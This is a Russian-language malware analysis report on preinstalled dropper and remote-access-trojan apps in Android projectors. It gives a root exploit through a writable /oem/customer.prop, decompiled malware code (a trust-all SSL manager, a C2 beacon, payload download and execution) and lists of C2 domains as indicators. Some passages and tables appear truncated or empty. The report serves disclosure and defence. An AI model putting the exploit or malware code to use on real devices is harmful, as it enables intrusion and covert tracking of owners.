
Разбор C2-сети китайских beamers — SilentSDK-Analysis
Технический отчет — Исследование безопасности
Затронутые устройства: Множество Android-проекторов брендов, таких как Nonete (например, модель HY260Pro) (вероятно, также несколько проекторов от Magcubic, Hotack, Huyukang и многих других, так как эти компании распространяют похожие модели, и есть подтверждающие признаки)
Платформа чипсета: Allwinner H713 / sun50iw12p1 — потенциально затрагивает все устройства на этой платформе
Период анализа: 11–17 апреля 2026 г.
Классификация: Предустановленная Command-and-Control инфраструктура с нагрузкой Remote Access Trojan
api.pixelpioneerss.com), извлекает конфиденциальные идентификаторы устройств и может в любой момент загружать и выполнять любой дополнительный вредоносный код с привилегиями root (chmod 777). Кроме того, на устройствах присутствуют открытые бэкдоры root.*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) должны быть заблокированы на сетевом уровне. Пострадавшие пользователи могут только отключить вредоносные приложения вручную через ADB, поскольку они глубоко встроены в систему.Вредоносная инфраструктура, описанная в этом отчете, предустановлена на Android-проекторах, которые в настоящее время продаются в больших количествах конечным потребителям на Amazon, eBay и AliExpress. Затронутые устройства могут относиться к нескольким брендам (Hotack, Huyukang, Magcubic, Nonete и др.). Идентичная C2-инфраструктура независимо подтверждена на других устройствах того же производителя (см. раздел 13). Характер совпадает с случаями BADBOX.
Приобретенное устройство: Ссылка на Amazon - Nonete Mini Beamer 4K 1080P
Примечание о масштабе: Чипсет Allwinner H713 встроен во множество дешевых Android-проекторов, продаваемых под сменяющимися брендами на европейском рынке. Идентичная база прошивки (h713_tuna_p3) и идентичный C2-оператор (Shenzhen Aodin Technology) убедительно свидетельствуют о том, что все устройства этого OEM-производителя содержат одну и ту же инфраструктуру.
Root-доступ был получен через комбинацию трех уязвимостей:
/oem доступен для записи всем — Раздел смонтирован как FAT с fmask=0000.customer.prop загружается при загрузке — Перезаписывает системные свойства.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**Воздействие:** Любой пользователь, имеющий физический доступ, или злоумышленник в той же сети (через ADB, порт 5555 открыт, без аутентификации) получает полный root-доступ.
---
## 4. Ответ C2-сервера — Основные доказательства
### Захваченный HTTP-запрос```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
Сжатый gzip ответ содержит JSON список из семи приложений. Шесть из них — обычные стриминговые приложения (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). Седьмое — SilentTools:
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**Интерпретация флагов:**
- `isShow: false` — Приложение не отображается в интерфейсе магазина.
- `isForce: true` — Предположительно принуждает к действию (установка или обновление).
- `isSilentUninstall: true` — Может удалить себя без взаимодействия с пользователем.
- `launchType: 1` — Автоматически запускает фоновый сервис.
- `launchParam: MyService` — Ссылка на постоянный сервис.
- `zone: "Global"` — Нацелено на все устройства по всему миру.
- `reverseLen` — Длина байтов, необходимая для восстановления `.apk` SilentSDK.
### Зашифрованный путь загрузки
Поле `path` зашифровано с помощью AES-CBC:
- **Ключ/IV:** `[REDACTED]` (AES-CBC, Raw) -> ChannelID устройства.
- **Результат расшифровки:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
Примечание: Расширение файла .bpp, вероятно, используется для обхода брандмауэров, при этом файл переименовывается в .apk во время выполнения. Поле isSilentInstall имеет значение false в этом захвате. Точная семантика isForce: true не может быть однозначно восстановлена из декомпилированного кода. Нельзя исключать, что значение динамически устанавливается в true на стороне сервера.
┌──────────────┐
│ DEVICE BOOT │
└──────┬───────┘
┌────────────────┼────────────────┐
▼ ▼ ▼
┌─────────────┐ ┌─────────────┐ ┌──────────────┐
│ StoreOS │ │ SilentSDK │ │ EventUpload │
│ DROPPER │ │ RAT │ │ HEARTBEAT │
└──────┬──────┘ └──────┬──────┘ └──────┬───────┘
▼ ▼ ▼
store-api. api.pixel event-api.
aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — Анализ дроппера
StoreOS, по-видимому, представляет собой магазин приложений, который устанавливается автоматически, однако выполняет функцию дроппера.
**Пакет:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### Разрешения
| Разрешение | Воздействие |
|:---|:---|
| `INSTALL_PACKAGES` | Тихая установка без диалога с пользователем |
| `CLEAR_APP_USER_DATA` | Удаление произвольных данных приложения |
| `MASTER_CLEAR` | Инициирование сброса до заводских настроек |
| `WRITE_SECURE_SETTINGS` | Изменение параметров безопасности |
| `DEVICE_POWER` | Управление питанием устройства |
| `MANAGE_EXTERNAL_STORAGE` | Полный доступ к внешнему хранилищу |
### Цепочка установки (из декомпилированного кода)
1. **BootReceiver** запускает `CheckUpdateService`.
2. HTTP POST на `store-api.aodintech.com/sign/app/list`.
3. Сервер возвращает `AppsData[]`, содержащий поля: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` загружает APK в виде файлов `.bpp` с CDN.
5. **Защита посредством реверсирования байтов:** Первые `reverseLen` байт реверсируются перед записью на диск (антианалитическая мера).
6. Проверка MD5 загруженного файла.
7. Установка через `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` запускает установленное приложение в соответствии с `launchParam`.
### Механизм реверсирования байтов — Техническое доказательство
**Класс:** `AbstractC2057b` — **Метод:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
Этот метод реверсирует первые `reverseLen` байт каждого загруженного APK. В результате перехваченные файлы `.bpp` невозможно распознать или извлечь как корректные APK без знания конкретного значения `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
Вызов в пути загрузки (Class RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
Благодаря обратному инжинирингу этого механизма, APK SilentSDK был успешно декодирован и проанализирован.
### Геотаргетинг
StoreOS использует `api.ipdatacloud.com/v2/query` для IP-геолокации. Класс `SpecialApps` содержит поля `continent` и `countryCode`, что позволяет распространять полезную нагрузку с учетом региона.
---
## 7. EventUploadService — Телеметрия
**Пакет:** `com.htc.eventuploadservice`
**Цель:** `http://event-api.aodintech.com/report`
**Интервал:** Каждые 5 минут
| Поле | Пример значения | Влияние на конфиденциальность |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC-адрес (PII) |
| `deviceSn` | `[REDACTED]` | Серийный номер (Уникальный) |
| `channel` | `HY260Pro_hy_TPYB` | Канал прошивки |
| `version` | `Projector.20250422.152235` | Версия прошивки |
| `model` | `NT10` | Модель устройства |
| `language` | `en_US` | Языковая настройка |
Передача происходит в незашифрованном виде по HTTP и без согласия пользователя. MAC-адрес и серийный номер позволяют точно идентифицировать и отслеживать отдельные устройства.
---
## 8. ExpandSDK — Внедрение рекламы
**Пакет:** `com.htc.expandsdk`
**C2-серверы:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDK использует TCL VastAd SDK для VAST-видеорекламы и способен отображать системные диалоговые окна (`SYSTEM_ALERT_WINDOW`) в любом положении на экране. Конфигурация включает поля позиционирования (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) и идентификатор партнёра `htk` (Hotack).
ExpandSDK работает независимо от SilentSDK как отдельный канал монетизации.
---
## 9. SilentSDK — Анализ RAT
**Пакет:** `com.hotack.silentsdk`
**SHA-256 (расшифрованный):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (расшифрованный):** `5df097591d6942bae4eff33a37c4e28f`
### Анализ манифеста
| Свойство | Значение | Смысл |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Системные привилегии (UID 1000) |
| `usesCleartextTraffic` | `true` | Разрешен HTTP-трафик |
| Значок в меню приложений | Не видим пользователю | Скрыт из интерфейса пользователя |
| `BootReceiver` | Приоритет 999 | Запускается раньше почти всех других приложений |
| `MyService` | экспортируемый, передний план | Постоянная фоновая служба |
| `BootStartActivity` | `com.htc.bootstart` | Дополнительный триггер загрузки |
### Упаковка и дешифрование DEX
Исходный DEX упакован: заголовок объявляет 2 318 316 байт, но сжатый файл содержит только 65 536 байт с неверной контрольной суммой Adler32. После взлома защиты StoreOS с обращением байтов DEX становится полностью читаемым — размер файла и заявленный размер совпадают, и можно извлечь 16 241 строку.
### XOR-обфускация — Техническое доказательство
Все строки, связанные с безопасностью, обфусцированы с помощью вращающегося XOR-шифра в методе `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
Это лишь часть расшифрованных строк.
Поток сбора MAC-адресов выявляет преднамеренный обход разрешений: когда WifiInfo.getMacAddress() возвращает защищённый конфиденциальностью фиктивный MAC-адрес Android (02:00:00:00:00:00), вредоносное ПО переходит к чтению реального аппаратного MAC напрямую из /sys/class/net/wlan0/address через root-оболочку — поведение, никогда не встречающееся в легитимных приложениях.
Следующий анализ прослеживает полную цепочку выполнения от запуска приложения до постоянного управления через C2. Имена классов ссылаются на идентификаторы после деобфускации в JADX.
MyApplication.java — Точка входа
Переопределение Application.onCreate() — первый исполняемый код. Оно немедленно вызывает C0561f.m1737c с ApplicationContext, запуская всю инфраструктуру вредоносного ПО до отображения какого-либо интерфейса.
AbstractC0577v.java — Контекст
Если хост-приложение добровольно не предоставляет свой контекст, этот класс использует глубокое системное отражение (android.app.ActivityThread) для самостоятельного получения глобального ApplicationContext. Это предоставляет SDK полный доступ к файлам, системным службам и управлению пакетами без зависимости от хост-приложения.
C0578w.java — Наблюдатель жизненного цикла Activity
Регистрируется как ActivityLifecycleCallbacks для мониторинга каждого взаимодействия пользователя: какой экран открыт, находится ли приложение на переднем или заднем плане. Критически важно, что он повторно включает отключённые системные анимации и управляет настройками SoftInputMode — обязательные условия для отображения невидимых наложений (например, для мошенничества с кликами) без предупреждения пользователя через неожиданные всплывающие окна клавиатуры.
AbstractC0562g.java — Генерация Bot-ID
Генерирует агрессивный отпечаток устройства, объединяя: случайный UUID + Build.BRAND + Build.MODEL + физический MAC-адрес (собранный через cat /sys/class/net/wlan0/address, в обход защит конфиденциальности Android) + android_id + временная метка. Полученная строка хешируется MD5 и сохраняется как adid — постоянный Bot-ID, используемый для регистрации устройства на C2-сервере.
C0565j.java — Обход SSL-сертификата
Манипулированный X509TrustManager с полностью пустыми методами проверки (checkClientTrusted, checkServerTrusted). Это гарантирует, что вредоносное ПО слепо принимает любой SSL-сертификат, предотвращая блокировку C2-связи механизмами безопасности Android — даже если C2-сервер скомпрометирован или использует недействительный сертификат.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
Если возникает ошибка SSL (`SSLException`), `f2664e` устанавливается в `false`, и все последующие запросы используют HTTP вместо HTTPS.
#### Фаза 3: Получение полезной нагрузки
**`C0566k.java` — Автономное резервирование (встроенная полезная нагрузка)**
Перед обращением к сети этот класс проверяет, встроена ли полезная нагрузка в APK по пути `assets/m17gawxG.java`. Если найдена, он читает файл побайтово и расшифровывает его с помощью жёстко заданного XOR-ключа (`m17gawxG`). Результат записывается как исполняемый файл `.temp`. Это гарантирует, что RAT может активироваться даже на изолированных устройствах или когда сервер C2 недоступен.
**`RunnableC0569n.java` — Загрузчик с C2 в реальном времени**
Если автономное резервирование не срабатывает, этот класс собирает JSON-маяк, содержащий Bot-ID, имя пакета и версию Android, а затем связывается с конечной точкой C2 `api.pixelpioneerss.com`:
**Шаг 1 — Генерация URL со случайным путём:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
Шаг 2 — Полезная нагрузка маяка:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**Шаг 3 — AES-шифрование и передача:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
Шаг 4 — Обработка ответа сервера:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
Загрузчик (`AbstractC0000a.m37h`) получает полезную нагрузку, а затем с помощью рутовой оболочки предоставляет ей полные права на выполнение через `chmod 777`.
Все C2-запросы содержат пользовательский HTTP-заголовок `a: 1003` — сетевой признак данного семейства вредоносного ПО.
#### Фаза 4: Выполнение и управление
**`AbstractC0568m.java` — Промежуточная область**
Создает скрытый каталог с именем **`TMRXwWJu3G5`** в файловой системе устройства, где размещаются все загруженные полезные нагрузки. Этот класс также содержит методы (`m1754e`), перехватывающие физические нажатия клавиш (`KeyEvent`), не позволяя пользователю нажать кнопку «Назад», пока активен вредоносный оверлей.
**`C0561f.java` — Оркестратор**
Связывает всю цепочку воедино. Он вызывает сильно обфусцированный код в `C0566k.m1746b`, который с помощью рефлексии формирует строку `"dalvik.system.DexClassLoader"` и инициализирует её. Затем ClassLoader принудительно загружает и выполняет финальный класс полезной нагрузки:```
com.me.cash5.OoO0OOo
Начиная с этого момента, динамически загруженная полезная нагрузка получает полный контроль в контексте процесса приложения (UID 1000 / System).
AbstractC0563h.java & C0558c.java — Сбор телеметрии
Каждая загрузка модуля, событие ошибки (например, сбой загрузки) или отображение наложения инициирует отправку отчета о состоянии (закодированного как "e6", "e4" для ошибок SSL и т.д.). C0558c запускает выделенный поток сбора ("burying_loop_s"), который агрегирует эти события. Каждые 5 секунд он собирает полный JSON-пакет телеметрии с полями, такими как "d" (модель устройства), "e" (версия SDK), "c" (Android ID).
RunnableC0564i.java — Экспортер данных
Принимает JSON телеметрии, сжимает его с помощью GZIPOutputStream (чтобы затруднить анализ трафика), затем шифрует с помощью пользовательского AES — добавляя динамические ключи к шифротексту. Результирующий GZIP-AES пакет передается через TrustManager, обходящий SSL, на выделенный сервер отслеживания:```
bur.thedynamicleap.com
Это **отдельный C2-домен** от основного `api.pixelpioneerss.com`, используемый исключительно для эксфильтрации телеметрии.
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat и самовосстановление**
Механизм персистентности. `AbstractC0572q` поддерживает таймер в основном потоке. Если какая-либо часть цепочки заражения завершается неудачей (например, отсутствие интернета во время загрузки), он вызывает `sendEmptyMessageDelayed(..., 60000L)`. Ровно через 60 секунд `RunnableC0560e` (как фоновый рабочий процесс) перезапускает весь механизм заражения с самого начала. Этот цикл повторяется бесконечно, пока заражение не будет успешным.
### Персистентность и динамическая загрузка — Резюме
Метод `m1762a()` в `RunnableC0569n` реализует полный цикл загрузки полезной нагрузки:
1. Загрузить DEX-файл с C2.
2. Проверить MD5-хэш.
3. Сохранить номер версии в SharedPreferences.
4. Загрузить и выполнить DEX через `DexClassLoader` или `Runtime.exec()`.
5. При ошибках: увеличить счетчик повторных попыток в SharedPreferences, пауза после 13 неудачных попыток — затем 60-секундный heartbeat перезапускает цикл.
## 9.1. Полезная нагрузка вредоносного ПО
После отправки этого запроса на C2-сервер:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
Ответ:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. Вредоносное ПО
После успешного извлечения и дальнейшего анализа вредоносной нагрузки, я определил — обойдя значительные уровни пользовательского шифрования и обфускации, — что вредоносное ПО использует высокомодульную архитектуру. Оно функционирует как сложный фреймворк, способный динамически загружать, обновлять, перезапускать и активно удалять плагины для уничтожения криминалистических доказательств. Эти нагрузки выполняются с правами root. Кроме того, код раскрывает механизмы, предназначенные для наложения полных WebView на экран, что сильно указывает на продвинутые фишинговые возможности. Вредоносное ПО также демонстрирует продвинутые тактики нацеливания и уклонения: оно реализует строгое геозонирование для атак на конкретные регионы, профилирует архитектуру ЦП (различая `arm64`, `armeabi`, `x86` и `mips`) и активно обходит проверку SSL-сертификатов для защиты своих C2-коммуникаций. Я намеренно оставляю это резюме кратким на данный момент, так как сильная обфускация требует длительного и текущего процесса обратной разработки.
## 11. Системные бэкдоры
### 11.1 Скрытый бинарник `su`: `/system/bin/qw`
Бинарник `su`, переименованный в `qw` (Koushikdutta Superuser, 388 КБ, статически слинкован, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)Сертификат подписи платформы — это тестовый ключ, публично включённый в исходный код AOSP (Cert Index 0 в packages.xml). Любое приложение, подписанное этим ключом, автоматически получает системные привилегии на устройстве. Ключ свободно доступен любому разработчику Android.
dbgserver/vendor/bin/dbgserver — Сервер ввода-вывода аппаратных регистров, осуществляющий связь через общедоступное для записи устройство /dev/hidtvreg (crwxrwxrwx).
Вся связь с C2 происходит по незашифрованному HTTP. Это позволяет проводить MITM-атаки (человек посередине): злоумышленник в той же сети может манипулировать списком приложений и внедрять произвольные APK, которые затем будут установлены с системными привилегиями.
Устройство маскируется под Google ADT-3 (Android TV Developer Kit):
| Свойство |
|---|
Предположительно, эта подмена предназначена для обхода проверок сертификации Google Play.
В январе 2026 года исследователь безопасности Зейн Сент-Джон опубликовал анализ идентичных устройств, содержащих точно такую же инфраструктуру вредоносного ПО. Результаты совпадают по всем ключевым моментам: конечные точки C2, XOR-обфускация, протокол AES-128-CBC, ID кампании f101, обход SSL и chmod 777. Устройство, проанализированное Зейном Сент-Джоном, по-видимому, уже было заражено SilentSDK, чего не было на моём устройстве «из коробки». Конечные точки в анализе Зейна также слегка изменены, что указывает на возможность ротации конечных точек. Кроме того, в его случае SilentSDK, похоже, был предустановлен, тогда как на моём устройстве он загружается и устанавливается после того, как aodintech отправляет сигнал триггера.
Source: https://zanestjohn.com/blog/reing-with-claude-code
| Источник | MD5 |
|---|
Хеши из дистрибутива сервера C2, нашего собственного дешифрования и внешнего анализа идентичны — это подтверждает, что это одно и то же вредоносное ПО. Это подтверждает широкое распространение вредоносного ПО.
StoreOS-APK: BitDefender обнаруживает Android.Riskware.TestKey.rB; никакие другие антивирусные движки не выдают предупреждений.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### Сетевые сигнатуры```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### Файловая система```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. Карта MITRE ATT&CK
| Техника | ID | Подтверждение |
|:---|:---|:---|
| Компрометация цепочки поставок | T1195.002 | Вредоносная фабрика предустановлена |
| Автозапуск при загрузке или входе в систему | T1547 | BootReceiver Priority 999 |
| Обфусцированные файлы или информация | T1027 | XOR-строки, упаковка DEX, встроенный XOR-зашифрованный ресурс |
| Протокол прикладного уровня | T1071 | HTTP/HTTPS C2 |
| Динамический обмен данными / внедрение полезной нагрузки | T1055 | DexClassLoader, chmod 777 |
| Сбор информации о системе | T1082 | Снятие отпечатков устройства, генерация Bot-ID |
| Данные из локальной системы | T1005 | MAC, Serial, IMEI, android_id |
| Экфильтрация по каналу C2 | T1041 | Периодическая телеметрия на `bur.thedynamicleap.com` |
| Маскировка | T1036 | Расширение файла .bpp, спуфинг ADT-3 |
| Руткит | T1014 | Скрытый бинарный файл su |
| Перехват ввода | T1056 | Перехват KeyEvent для подавления кнопки «Назад» |
| Удаление индикаторов / самоудаление | T1070 | Возможность `isSilentUninstall: true` |
| Рефлексивная загрузка кода | T1620 | Рефлексивное создание экземпляра DexClassLoader |
| Наложение системных окон | T1624 | Манипуляция SoftInputMode для невидимых наложений |
---
## 17. Немедленные меры смягчения
### Для пострадавших конечных пользователей```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. Источники
1. Zane St. John: «Обратная разработка предустановленного вредоносного ПО для Android с помощью Claude Code», январь 2026 г. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: «BSI предупреждает о предустановленном вредоносном ПО на устройствах IoT» (BADBOX), октябрь 2023 г.
3. Анализ VirusTotal APK-файла StoreOS.
---
**Период анализа:** 11–17 апреля 2026 г.
**Отказ от ответственности**
Только для образовательных и исследовательских целей. Этот отчет предоставляется «как есть» в информационных целях относительно угроз кибербезопасности. Анализ основан на снимке текущей экосистемы вредоносного ПО; поскольку обратная разработка является непрерывным процессом, результаты могут быть изменены по мере поступления новых данных.
Этот отчет составлен добросовестно и на основе имеющейся информации, исходя из анализа бинарных данных и декомпилированного исходного кода. Из-за высокого уровня обфускации и развивающейся природы угрозы эти выводы представляют собой текущее состояние исследований. Хотя доказательства убедительно подтверждают сделанные выводы, они могут быть уточнены по мере обнаружения дополнительных технических данных.
| Свойство | Значение |
|---|
| Бренд | Nonete HY260Pro (модель, продаваемая несколькими компаниями) |
| Внутреннее имя модели | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32-bit) |
| Операционная система | SpectraOS (Android 11, Kernel 5.4.99) |
| Реальный Build Fingerprint | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Подмененный Build Fingerprint | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissive (без принудительного применения) |
| Ключ подписи платформы | Публичный AOSP Test Key |
| OEM-сертификат | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Прошивка | HY260Pro_SpectraOS_TPYB |
| Шаг | Действие | Результат |
|---|
| 1 | Захват трафика Wireshark | HTTP-трафик на store-api.aodintech.com |
| 2 | Декодирование сжатого gzip ответа C2 | 7 приложений, включая скрытое «SilentTools» |
| 3 | AES-CBC дешифрование пути загрузки | Ключ [REDACTED], URL к .bpp файлу |
| 4 | Root-эксплойт через /oem/customer.prop | uid=0(root) после инъекции свойств |
| 5 | Криминалистический дамп /data, /oem, /system | APK, базы данных, конфигурации |
| 6 | Статический анализ DEX StoreOS | pm install -r -d, защита от реверс-инжиниринга |
| 7 | Обратное проектирование механизма reverseLen | Понимание защиты от анализа |
| 8 | Взлом защиты от реверс-инжиниринга | Расшифрованный, анализируемый DEX SilentSDK |
| 9 | XOR-дешифрование строк SilentSDK | Домен C2 api.pixelpioneerss.com подтвержден |
| 10 | Проверка хеша из трех источников | MD5/SHA-256 полностью совпадают |
| 11 | Обратное проектирование процесса загрузки вредоносного ПО | Серверы все еще активны |
| 12 | Обратное проектирование вредоносного ПО | Плагинный RAT-фреймворк |
| Приложение | Пакет | isShow | isForce | isSilent Install | isSilent Uninstall | Тип запуска |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| Запутанный вызов | Результат | Функция |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | C2-домен |
m36g({7,-68}, {116,-44,...}) | sh | Бинарник оболочки для Runtime.exec() |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | Команда оболочки |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | Суффикс временного файла для загрузок |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | Основной протокол |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | Резервный при ошибке SSL |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | Протокол TLS |
m36g({-15}, {-112,...}) | a | Пользовательское имя заголовка → значение 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | Резервная оболочка: чтение имени интерфейса |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | Резервная оболочка: чтение MAC (префикс) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | Резервная оболочка: чтение MAC (суффикс) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Фиктивный MAC-адрес Android (маркер для API 23+) |
| Порт | UID | Описание |
|---|
| 65528 | root (0) | Демон su |
| 5555 | root (0) | ADB без аутентификации |
| 7889/7890 | system (1000) | Неизвестный сервис |
| 10012/10013 | system (1000) | Фабричная отладка? |
| Сервер | Конечная точка | Функция |
|---|
store-api.aodintech.com | POST /sign/app/list | Распространение приложений |
sta.smartinnovate.net | GET /*.jar | Распространение полезной нагрузки |
cdn-store.aodintech.com | GET /*.bpp | Загрузка APK |
event-api.aodintech.com | POST /report | Телеметрия |
api.pixelpioneerss.com | POST /(random) | C2 RAT SilentSDK |
bur.thedynamicleap.com | `POST (GZIP+AES)`` | Эксфильтрация телеметрии SilentSDK |
